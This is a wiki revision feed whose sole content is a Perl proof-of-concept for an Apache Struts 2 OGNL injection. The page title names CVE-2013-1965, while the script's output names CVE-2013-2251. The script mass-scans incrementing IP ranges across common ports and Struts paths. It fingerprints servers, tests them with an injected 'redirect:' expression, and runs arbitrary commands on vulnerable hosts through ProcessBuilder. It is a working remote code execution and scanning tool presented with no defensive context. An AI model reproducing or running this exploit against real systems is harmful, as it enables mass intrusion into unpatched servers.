<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2013-1965_Apache_Struts_2%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2013-1965 Apache Struts 2漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2013-1965_Apache_Struts_2%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2013-1965_Apache_Struts_2%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T21:24:37Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2013-1965_Apache_Struts_2%E6%BC%8F%E6%B4%9E&amp;diff=1014&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; use strict;  use warnings; use Parallel::ForkManager; use IO::Socket; use Getopt::Long; use IO::Socket::SSL;  our %workers;  #./script ip/host # options: # --sca...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2013-1965_Apache_Struts_2%E6%BC%8F%E6%B4%9E&amp;diff=1014&amp;oldid=prev"/>
		<updated>2021-04-06T02:33:52Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; use strict;  use warnings; use Parallel::ForkManager; use IO::Socket; use Getopt::Long; use IO::Socket::SSL;  our %workers;  #./script ip/host # options: # --sca...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
use strict; &lt;br /&gt;
use warnings;&lt;br /&gt;
use Parallel::ForkManager;&lt;br /&gt;
use IO::Socket;&lt;br /&gt;
use Getopt::Long;&lt;br /&gt;
use IO::Socket::SSL;&lt;br /&gt;
&lt;br /&gt;
our %workers;&lt;br /&gt;
&lt;br /&gt;
#./script ip/host&lt;br /&gt;
# options:&lt;br /&gt;
# --scan&lt;br /&gt;
#   --ipcount (used with --scan)&lt;br /&gt;
#   --threads=50 (used with --scan)&lt;br /&gt;
# --port=8080 (default: all ports)&lt;br /&gt;
# --path=/what/ever.action (default: all paths)&lt;br /&gt;
# --ssl&lt;br /&gt;
# --force (ignores regex for struts detection)&lt;br /&gt;
# --timeout=seconds (default: 1)&lt;br /&gt;
# --cmd=&amp;quot;some command&amp;quot;&lt;br /&gt;
# --debug=1-3 1=important output, 2=all output, 3=no output (default:1)&lt;br /&gt;
# --log=1/2 yes/no (default:1)&lt;br /&gt;
# --logfile=somefile (default:appends log.txt)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
my @ports=('80','8080','8088','9080','9081','9082','9083');&lt;br /&gt;
my @portssl=('9443,9444'); #not in use&lt;br /&gt;
my @paths=(&lt;br /&gt;
'/Hello_World_Struts2_Ant/index.action',&lt;br /&gt;
'/Wildcard_Method_Struts2_Mvn/Person.action',&lt;br /&gt;
'/Basic_Struts2_Ant/index.action',&lt;br /&gt;
'/struts2-showcase-2.0.6/tiles/index.action',&lt;br /&gt;
'/struts2-jquery-showcase-3.6.0/index.action',&lt;br /&gt;
'/struts2-jquery-showcase/index.action',&lt;br /&gt;
'/struts2-blank/example/Menu.action',&lt;br /&gt;
'/blank/example/Menu.action',&lt;br /&gt;
'/struts2-showcase/viewSource.action',&lt;br /&gt;
'/Interceptors_Struts2_Ant/index.action',&lt;br /&gt;
'/Form_XML_Validation_Struts2_Ant/index.action',&lt;br /&gt;
'/Using_Tags_Struts2_Ant/index.action',&lt;br /&gt;
'/Spring_Struts2_Ant/index.action',&lt;br /&gt;
'/Form_Validation_Struts2_Ant/index.action',&lt;br /&gt;
'/struts2/index.action',&lt;br /&gt;
'/index.action'&lt;br /&gt;
);&lt;br /&gt;
my @jbosspaths = ('/struts2-jboss-blank/example/Menu.action','/struts2-blank/example/Menu.action','/jboss-blank/example/Menu.action','/blank/example/Menu.action','/index.action','/struts2/index.action');&lt;br /&gt;
&lt;br /&gt;
my ($path,$port,$ssl,$scan,$threads,$ipcount,$force,$type,$timeout,$cmd,$debug,$log,$logfile) = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
GetOptions (&amp;quot;ipcount=i&amp;quot; =&amp;gt; \$ipcount,&lt;br /&gt;
            &amp;quot;timeout=i&amp;quot; =&amp;gt; \$timeout,&lt;br /&gt;
            &amp;quot;debug=i&amp;quot; =&amp;gt; \$debug,&lt;br /&gt;
            &amp;quot;log=i&amp;quot; =&amp;gt; \$log,&lt;br /&gt;
            &amp;quot;logfile=s&amp;quot; =&amp;gt; \$logfile,&lt;br /&gt;
            &amp;quot;cmd=s&amp;quot; =&amp;gt; \$cmd,&lt;br /&gt;
            &amp;quot;scan&amp;quot; =&amp;gt; \$scan,&lt;br /&gt;
            &amp;quot;port=s&amp;quot; =&amp;gt; \$port,&lt;br /&gt;
            &amp;quot;threads=i&amp;quot; =&amp;gt; \$threads,&lt;br /&gt;
            &amp;quot;path=s&amp;quot;   =&amp;gt; \$path,&lt;br /&gt;
            &amp;quot;ssl&amp;quot;   =&amp;gt; \$ssl,&lt;br /&gt;
            &amp;quot;force&amp;quot;   =&amp;gt; \$force)&lt;br /&gt;
  or die(&amp;quot;Error in command line arguments\n&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
if (!$log) { $log = 1; }&lt;br /&gt;
if (!$logfile) { $logfile = 'log.txt'; }&lt;br /&gt;
if (!$debug) { $debug = 1; }&lt;br /&gt;
if (!$timeout) { $timeout = 1; } &lt;br /&gt;
use constant PATIENCE =&amp;gt; $timeout; # seconds&lt;br /&gt;
if ($path) { @paths=($path); }  &lt;br /&gt;
if ($port) { @ports=($port); } &lt;br /&gt;
if (!$ipcount) { $ipcount = 1; }&lt;br /&gt;
if (!$threads) { $threads = 1; }&lt;br /&gt;
my @target=split('\.',$ARGV[0]); #123.123.123.1&lt;br /&gt;
&lt;br /&gt;
main();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sub main {&lt;br /&gt;
  outp(&amp;quot;Threads Set: $threads&amp;quot;,1);&lt;br /&gt;
  outp(&amp;quot;Number of IPs to Scan: $ipcount&amp;quot;,1);&lt;br /&gt;
  outp(&amp;quot;Paths Loaded: &amp;quot;. ($#paths + 1),1);&lt;br /&gt;
  outp(&amp;quot;Ports Loaded: &amp;quot;. ($#ports + 1),1);&lt;br /&gt;
  if ($log == 1) { outp(&amp;quot;Using Log File: $logfile&amp;quot;,1); }&lt;br /&gt;
  else { outp(&amp;quot;Using Log File: No&amp;quot;,1); }&lt;br /&gt;
  outp(&amp;quot;Output Level: &amp;quot;. $debug,1);&lt;br /&gt;
  outp(&amp;quot;Starting Apache Struts Scanner..\n&amp;quot;,1);&lt;br /&gt;
  &lt;br /&gt;
  if ($scan) {&lt;br /&gt;
    if ($threads &amp;gt; 1) {&lt;br /&gt;
      my $pm = Parallel::ForkManager-&amp;gt;new($threads);&lt;br /&gt;
      $pm-&amp;gt;run_on_wait(\&amp;amp;dismiss_hung_workers, 1);  # 1 second between callback invocations&lt;br /&gt;
      for my $id (1 .. $ipcount) {&lt;br /&gt;
        if (my $pid = $pm-&amp;gt;start) {&lt;br /&gt;
          $workers{$pid} = time();&lt;br /&gt;
          next;&lt;br /&gt;
        }&lt;br /&gt;
        my $ip = getip();&lt;br /&gt;
	   scan($ip,$id);&lt;br /&gt;
       $pm-&amp;gt;finish;&lt;br /&gt;
      }&lt;br /&gt;
      $pm-&amp;gt;wait_all_children;&lt;br /&gt;
    }&lt;br /&gt;
    else { &lt;br /&gt;
      for (1 .. $ipcount) {&lt;br /&gt;
      my $ip = getip();&lt;br /&gt;
	  scan($ip,'1');&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  elsif ($cmd) { rce($ARGV[0],$cmd); }&lt;br /&gt;
  else { scan($ARGV[0],'1'); }&lt;br /&gt;
  outp(&amp;quot;\nApache Struts Scanner Finished.&amp;quot;,1);&lt;br /&gt;
}&lt;br /&gt;
sub dismiss_hung_workers {&lt;br /&gt;
  while (my ($pid, $started_at) = each %workers) {&lt;br /&gt;
    next unless time() - $started_at &amp;gt; PATIENCE;&lt;br /&gt;
    kill TERM =&amp;gt; $pid;&lt;br /&gt;
    delete $workers{$pid};&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
sub getip {&lt;br /&gt;
  if ($target[3] == 255) { &lt;br /&gt;
    if ($target[2] == 255) { &lt;br /&gt;
	  if ($target[1] == 255) { &lt;br /&gt;
	    if ($target[0] == 255) { outp(&amp;quot;wtf are you doing?&amp;quot;,1);exit; }&lt;br /&gt;
		else { $target[1] = 0; $target[2] = 0; $target[3] = 0; $target[0] = ($target[0] + 1); };&lt;br /&gt;
	  }&lt;br /&gt;
	  else { $target[2] = 0; $target[3] = 0; $target[1] = ($target[1] + 1); };&lt;br /&gt;
	}&lt;br /&gt;
	else { $target[3] = 0; $target[2] = ($target[2] + 1); };&lt;br /&gt;
  }&lt;br /&gt;
  else { $target[3] = ($target[3] + 1); }&lt;br /&gt;
  return &amp;quot;$target[0].$target[1].$target[2].$target[3]&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
sub scan {&lt;br /&gt;
my $id = &amp;quot;\[tID: $_[1]\]:&amp;quot;;&lt;br /&gt;
my $joinports = join(',',@ports);&lt;br /&gt;
outp(&amp;quot;$id Scanning IP: &amp;quot;.$_[0].&amp;quot; (ports: $joinports)&amp;quot;,2);&lt;br /&gt;
foreach my $port (@ports) {  &lt;br /&gt;
  my $req = &amp;quot; HTTP/1.1\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Host: $_[0]\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Referer: http://$_[0]\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept-Encoding: *\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept-Language: en-US;q=0.6,en;q=0.4\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Connection: close\r\n\r\n&amp;quot;;&lt;br /&gt;
  my ($sock,$check,$socket,$filter) = &amp;quot;&amp;quot;;&lt;br /&gt;
  if (!$force) {&lt;br /&gt;
    #attempts to id the server and detect a page to test&lt;br /&gt;
    $socket= IO::Socket::INET-&amp;gt;new(PeerAddr=&amp;gt;&amp;quot;$_[0]:$port&amp;quot;,Proto=&amp;gt;'tcp',Timeout=&amp;gt;$timeout);&lt;br /&gt;
    if ($ssl) { $socket= IO::Socket::SSL-&amp;gt;new(PeerHost =&amp;gt; &amp;quot;$_[0]&amp;quot;,PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,Timeout=&amp;gt;$timeout); }&lt;br /&gt;
    if ($socket) {  &lt;br /&gt;
  	  $check = &amp;quot;GET /&amp;quot;;&lt;br /&gt;
      print $socket $check.$req;&lt;br /&gt;
      while (&amp;lt;$socket&amp;gt;) { $sock = $sock.$_; }&lt;br /&gt;
      $socket-&amp;gt;close();&lt;br /&gt;
	  if ($sock =~ /(Tomcat|Apache-Coyote|Glassfish|JBoss|Websphere|Weblogic|\.action|JSESSIONID|The document has moved|Moved Temporarily|Apache)/) { $filter = 1;$type=$1; }&lt;br /&gt;
	  my $detect = &amp;quot;&amp;quot;;&lt;br /&gt;
	  if ($sock =~ /(location\=\&amp;quot;(.*)\&amp;quot;\;)/ and length($sock) &amp;lt; 500) { $detect = &amp;quot;$2&amp;quot;; }&lt;br /&gt;
	  elsif ($sock =~ /(window.open.?\(\'(.*)\))/) { &lt;br /&gt;
		my $found = $2;&lt;br /&gt;
	    my @split = split(&amp;quot;'&amp;quot;, $found);&lt;br /&gt;
	    if ($split[0] =~ /;/) {&lt;br /&gt;
	      my @split = split(';', $split[0]);&lt;br /&gt;
		  if ($split[0]) { $found = $split[0]; }&lt;br /&gt;
		}&lt;br /&gt;
		else { $found = $split[0]; }&lt;br /&gt;
		if ($found =~ /^\/.*\.action$/) { outp(&amp;quot;Valid path found to test0: $found&amp;quot;,2); @paths=($found); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
		else { $detect = &amp;quot;$found&amp;quot;;outp(&amp;quot;Redirect Found#0: $found&amp;quot;,2); }&lt;br /&gt;
	  }&lt;br /&gt;
	  elsif ($sock =~ /(The document has moved.*href.?\&amp;quot;(.*)\&amp;quot;&amp;gt;)/) { &lt;br /&gt;
	    my $cut = $2;&lt;br /&gt;
	    print &amp;quot;here: $cut\n&amp;quot;;&lt;br /&gt;
	    if ($cut =~ /http/) {&lt;br /&gt;
			#print &amp;quot;here:3\n&amp;quot;;&lt;br /&gt;
			my @split = split('/', $cut);&lt;br /&gt;
			my $eee = &amp;quot;&amp;quot;;&lt;br /&gt;
			foreach (3..$#split) { $eee = $eee.&amp;quot;/&amp;quot;.$split[$_]; }&lt;br /&gt;
			if ($eee =~ /^\/.*\.action$/) { outp(&amp;quot;$id Valid path found to test3: $eee&amp;quot;,2); @paths=($eee); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
			elsif ($eee =~ /^\//){ $detect = &amp;quot;$eee&amp;quot;;  }#outp(&amp;quot;$id Redirect Found#4: $eee&amp;quot;,2); }&lt;br /&gt;
		}&lt;br /&gt;
		elsif ($cut =~ /^(\/.*\.action)$/) { my $found = $1;outp(&amp;quot;$id Valid path found to test3: $found&amp;quot;,2); @paths=($found); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
		elsif ($cut =~ /^(\/.*\/)$/) { $detect= $1; outp(&amp;quot;Redirect Found#3: $detect&amp;quot;,2); }&lt;br /&gt;
	  }&lt;br /&gt;
	#}&lt;br /&gt;
	  else { print &amp;quot;$id SOCKc: $sock\n&amp;quot;;$socket-&amp;gt;close();next; }&lt;br /&gt;
      if ($detect) {&lt;br /&gt;
	    #print &amp;quot;$id Redirect Detected: $detect\n&amp;quot;; &lt;br /&gt;
		$socket= IO::Socket::INET-&amp;gt;new(PeerAddr=&amp;gt;&amp;quot;$_[0]:$port&amp;quot;,Proto=&amp;gt;'tcp',Timeout=&amp;gt;$timeout);&lt;br /&gt;
        if ($ssl) { $socket= IO::Socket::SSL-&amp;gt;new(PeerHost =&amp;gt; &amp;quot;$_[0]&amp;quot;,PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,Timeout=&amp;gt;$timeout); }&lt;br /&gt;
        if ($socket) {  &lt;br /&gt;
  	      $check = &amp;quot;GET $detect/&amp;quot;;&lt;br /&gt;
          print $socket $check.$req;&lt;br /&gt;
		  $sock = &amp;quot;&amp;quot;;&lt;br /&gt;
          while (&amp;lt;$socket&amp;gt;) { $sock = $sock.$_; }&lt;br /&gt;
		  print &amp;quot;$id Followed Redirect to: $detect\n&amp;quot;; &lt;br /&gt;
		  if ($sock =~ /(Tomcat|Apache-Coyote|Glassfish|JBoss|Websphere|Weblogic|\.action|JSESSIONID|The document has moved|Moved Temporarily|Apache)/) { $filter = 1;$type=$1; }&lt;br /&gt;
		  if ($sock =~ /(window\.open.?\(\'(.*)\))/) { &lt;br /&gt;
		    my $found = $2;&lt;br /&gt;
			my @split = split(&amp;quot;'&amp;quot;, $found);&lt;br /&gt;
			if ($split[0] =~ /;/) {&lt;br /&gt;
			  my @split = split(';', $split[0]);&lt;br /&gt;
			  if ($split[0]) { $found = $split[0]; }&lt;br /&gt;
			}&lt;br /&gt;
			else { $found = $split[0]; }&lt;br /&gt;
			if ($found =~ /^\/.*\.action$/) { outp(&amp;quot;$id Valid path found to test1: $found&amp;quot;,2);@paths=($found); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
			else { outp(&amp;quot;Debug Redirect Found#1: $found&amp;quot;,2); }&lt;br /&gt;
		  }&lt;br /&gt;
		  elsif ($sock =~ /(location\=\&amp;quot;(.*)\&amp;quot;\;)/) {&lt;br /&gt;
		    my $found = $2;&lt;br /&gt;
		    if ($found =~ /^\/.*\.action$/) { outp(&amp;quot;$id Valid path found to test2: $found&amp;quot;,2);@paths=($found); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
			elsif ($found =~ /http/) {&lt;br /&gt;
			  #print &amp;quot;here:4\n&amp;quot;;&lt;br /&gt;
			  my @split = split('/', $found);&lt;br /&gt;
			  my $eee = &amp;quot;&amp;quot;;&lt;br /&gt;
			  foreach (3..$#split) { $eee = $eee.&amp;quot;/&amp;quot;.$split[$_]; }&lt;br /&gt;
			  if ($eee =~ /^\/.*\.action$/) { outp(&amp;quot;Valid path found to test3: $eee&amp;quot;,2); @paths=($eee); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
			  else { outp(&amp;quot;Debug Redirect Found#2: $found&amp;quot;,2); }&lt;br /&gt;
		    }&lt;br /&gt;
			else { outp(&amp;quot;Debug Redirect Found#1: $found&amp;quot;,2); }&lt;br /&gt;
		  }&lt;br /&gt;
		  elsif ($sock =~ /(Location\: (.*)\n)/) {&lt;br /&gt;
		    my $found = $2;&lt;br /&gt;
			$found =~ s/\n//g;&lt;br /&gt;
	        $found =~ s/\r//g;&lt;br /&gt;
		    if ($found =~ /^\/.*\.action$/) { outp(&amp;quot;Valid path found to test4: $found&amp;quot;,2);@paths=($found); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
			elsif ($found =~ /http/) {&lt;br /&gt;
			  #print &amp;quot;here:4\n&amp;quot;;&lt;br /&gt;
			  my @split = split('/', $found);&lt;br /&gt;
			  my $eee = &amp;quot;&amp;quot;;&lt;br /&gt;
			  foreach (3..$#split) { $eee = $eee.&amp;quot;/&amp;quot;.$split[$_]; }&lt;br /&gt;
			  if ($eee =~ /^\/.*\.action$/) { outp(&amp;quot;$id Valid path found to test: $eee&amp;quot;,2); @paths=($eee); $filter = 1;$type=&amp;quot;auto&amp;quot;; }&lt;br /&gt;
			  else { outp(&amp;quot;$id Debug Redirect Found#4: $eee&amp;quot;,2); }&lt;br /&gt;
		    }&lt;br /&gt;
			else { outp(&amp;quot;$id Debug Redirect Found#3: $found&amp;quot;,2); }&lt;br /&gt;
		  }&lt;br /&gt;
          $socket-&amp;gt;close();#print $sock.&amp;quot;\n&amp;quot;;&lt;br /&gt;
	    }&lt;br /&gt;
	  }&lt;br /&gt;
	&lt;br /&gt;
    }&lt;br /&gt;
	 else { outp(&amp;quot;$id SOCK: error&amp;quot;,2);next; }&lt;br /&gt;
  }&lt;br /&gt;
  if (($filter == 1) or ($force)) { &lt;br /&gt;
    if ($force) { $type = &amp;quot;forced&amp;quot;; }&lt;br /&gt;
	outp(&amp;quot;$id \&amp;quot;$type\&amp;quot; detected on: $_[0]:$port&amp;quot;,2); &lt;br /&gt;
	outp(&amp;quot;$id Now Checking for Struts..&amp;quot;,2);&lt;br /&gt;
	foreach my $p (@paths) {&lt;br /&gt;
	if (!$ssl) { $socket= IO::Socket::INET-&amp;gt;new(PeerAddr=&amp;gt;&amp;quot;$_[0]:$port&amp;quot;,Proto=&amp;gt;'tcp',Timeout=&amp;gt;$timeout); }&lt;br /&gt;
	else { $socket= IO::Socket::SSL-&amp;gt;new(PeerHost =&amp;gt; &amp;quot;$_[0]&amp;quot;,PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,Timeout=&amp;gt;$timeout); }&lt;br /&gt;
	if ($socket) { &lt;br /&gt;
	  $check = &amp;quot;GET $p&amp;quot;;&lt;br /&gt;
	  print $socket $check.$req;&lt;br /&gt;
	  $sock = &amp;quot;&amp;quot;;&lt;br /&gt;
	  if (&amp;lt;$socket&amp;gt; =~ /200 OK/) { &lt;br /&gt;
	    outp(&amp;quot;$id Apache Struts Found! (path verified)&amp;quot;,2); &lt;br /&gt;
		outp(&amp;quot;$id Checking if Struts is Vuln.. (trying &amp;quot;. ( $#paths + 1) .&amp;quot; paths)&amp;quot;,2);&lt;br /&gt;
		$socket-&amp;gt;close();&lt;br /&gt;
	    if (!$ssl) { $socket= IO::Socket::INET-&amp;gt;new(PeerAddr=&amp;gt;&amp;quot;$_[0]:$port&amp;quot;,Proto=&amp;gt;'tcp',Timeout=&amp;gt;$timeout); }&lt;br /&gt;
		else { $socket= IO::Socket::SSL-&amp;gt;new(PeerHost =&amp;gt; &amp;quot;$_[0]&amp;quot;,PeerPort =&amp;gt; &amp;quot;$port&amp;quot;,Timeout=&amp;gt;$timeout); }&lt;br /&gt;
	    if ($socket) { &lt;br /&gt;
	      $check = &amp;quot;GET $p?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat({3*8888})}&amp;quot;;&lt;br /&gt;
	      print $socket $check.$req;&lt;br /&gt;
	      $sock = &amp;quot;&amp;quot;;&lt;br /&gt;
	      while (&amp;lt;$socket&amp;gt;) { $sock = $sock.$_; }&lt;br /&gt;
	      if ($sock =~ /\:\/\/(.*)\[26664/) { &lt;br /&gt;
		    my $match = &amp;quot;&amp;quot;;&lt;br /&gt;
			my @split = split('/',$p);&lt;br /&gt;
			if ($split[1]) {&lt;br /&gt;
			  @split = split($split[1],$1);&lt;br /&gt;
			  if ($split[1]) { $match = $split[1]; }&lt;br /&gt;
			}&lt;br /&gt;
		    if ($match =~ /\:/) { outp(&amp;quot;$id Apache Struts Vuln Found (Windows: $match): $_[0]:$port $p (CVE: 2013-2251)&amp;quot;,1); }&lt;br /&gt;
			elsif ($match) { outp(&amp;quot;$id Apache Struts Vuln Found (Linux: $match): $_[0]:$port $p (CVE: 2013-2251)&amp;quot;,1); }&lt;br /&gt;
			else { outp(&amp;quot;$id Apache Struts Vuln Found (Linux: unknown_path): $_[0]:$port $p (CVE: 2013-2251)&amp;quot;,1); }&lt;br /&gt;
		  }&lt;br /&gt;
		  #else { outp(&amp;quot;$id Apache Struts Vuln Not Found!\n$sock&amp;quot;,2); } #extra debug&lt;br /&gt;
		  else { outp(&amp;quot;$id Apache Struts Vuln Not Found!\n&amp;quot;,2); }&lt;br /&gt;
		  $socket-&amp;gt;close();&lt;br /&gt;
		}&lt;br /&gt;
		else { outp(&amp;quot;$id Socket Error #1&amp;quot;,2); }&lt;br /&gt;
		last;&lt;br /&gt;
	  }&lt;br /&gt;
	  else { $socket-&amp;gt;close(); }&lt;br /&gt;
	} &lt;br /&gt;
	else { outp(&amp;quot;$id Socket Error #0&amp;quot;,2); } &lt;br /&gt;
	outp(&amp;quot;$id No Struts Found!&amp;quot;,2);&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  #else { outp(&amp;quot;SOCK: $sock&amp;quot;,2); $socket-&amp;gt;close(); } extra debug&lt;br /&gt;
  else { ouutp(&amp;quot;$id Doesnt match filter!&amp;quot;,2);$socket-&amp;gt;close(); }&lt;br /&gt;
 # }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
sub rce {&lt;br /&gt;
  my $cmd = $_[1];&lt;br /&gt;
  $cmd =~ s/ /'\,'/g;&lt;br /&gt;
  $cmd = &amp;quot;'$cmd'&amp;quot;;&lt;br /&gt;
  #print &amp;quot;cmd: $cmd\n&amp;quot;;&lt;br /&gt;
  my $socket= IO::Socket::INET-&amp;gt;new(PeerAddr=&amp;gt;&amp;quot;$_[0]:$ports[0]&amp;quot;,Proto=&amp;gt;'tcp',Timeout=&amp;gt;$timeout);&lt;br /&gt;
  if ($ssl) { $socket= IO::Socket::SSL-&amp;gt;new(PeerHost =&amp;gt; &amp;quot;$_[0]&amp;quot;,PeerPort =&amp;gt; &amp;quot;$ports[0]&amp;quot;,Timeout=&amp;gt;$timeout); }&lt;br /&gt;
  if ($socket) {  &lt;br /&gt;
    my $p = $paths[0];&lt;br /&gt;
	my @split = ();&lt;br /&gt;
	my $c = &amp;quot;%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{$cmd})).start()}&amp;quot;;&lt;br /&gt;
	my $check = &amp;quot;GET $p?redirect:$c&amp;quot;;&lt;br /&gt;
	my $full = &amp;quot;($_[0]:$ports[0]$p?redirect:$c)&amp;quot;;&lt;br /&gt;
	#print &amp;quot;check: $check\n&amp;quot;;&lt;br /&gt;
	my $req = &amp;quot; HTTP/1.1\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Host: $_[0]\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Referer: http://$_[0]\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept-Encoding: *\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept-Language: en-US;q=0.6,en;q=0.4\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3\r\n&amp;quot;&lt;br /&gt;
  . &amp;quot;Connection: close\r\n\r\n&amp;quot;;&lt;br /&gt;
    print $socket $check.$req;&lt;br /&gt;
    my $sock = &amp;quot;&amp;quot;;&lt;br /&gt;
	#print &amp;lt;$socket&amp;gt;;&lt;br /&gt;
    while (&amp;lt;$socket&amp;gt;) { &lt;br /&gt;
	  if ($_ =~ /Location/)  { @split = split('/',$_); }&lt;br /&gt;
	}&lt;br /&gt;
	my $match = &amp;quot;&amp;quot;;&lt;br /&gt;
	if ($split[0] and $split[0] =~ /http/) { &lt;br /&gt;
	  $match = $split[$#split];&lt;br /&gt;
	}&lt;br /&gt;
	if (!$match) { $match = &amp;quot;error_no_results&amp;quot;; }&lt;br /&gt;
	$match =~ s/\n//g;&lt;br /&gt;
	$match =~ s/\r//g;&lt;br /&gt;
	outp(&amp;quot;Result: $match&amp;quot;,1,$full);&lt;br /&gt;
    $socket-&amp;gt;close();&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
sub outp {&lt;br /&gt;
#1 debug output level 1 (more important)&lt;br /&gt;
#2 debug output all &lt;br /&gt;
#3 no ouput&lt;br /&gt;
  my $data = $_[0];&lt;br /&gt;
  my $write = $_[1];&lt;br /&gt;
  my $extra = &amp;quot;&amp;quot;;&lt;br /&gt;
  my $log1 = 0;&lt;br /&gt;
  if ($_[2]) { $extra = $_[2]; }&lt;br /&gt;
  &lt;br /&gt;
  if ($write == 2 and $debug == 2) { print $data.&amp;quot;\n&amp;quot;;$log1=1; }&lt;br /&gt;
  elsif ($write == 1 and $debug &amp;lt;= 2) { print $data.&amp;quot;\n&amp;quot;;$log1=1; }&lt;br /&gt;
  if ($log == 1 and $log1 == 1) {&lt;br /&gt;
    open(LOG, '&amp;gt;&amp;gt;'.$logfile);&lt;br /&gt;
    if ($extra) { print LOG $extra.&amp;quot;\n&amp;quot;.$data.&amp;quot;\n&amp;quot;; }&lt;br /&gt;
    else { print LOG $data.&amp;quot;\n&amp;quot;; }&lt;br /&gt;
    close(LOG);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>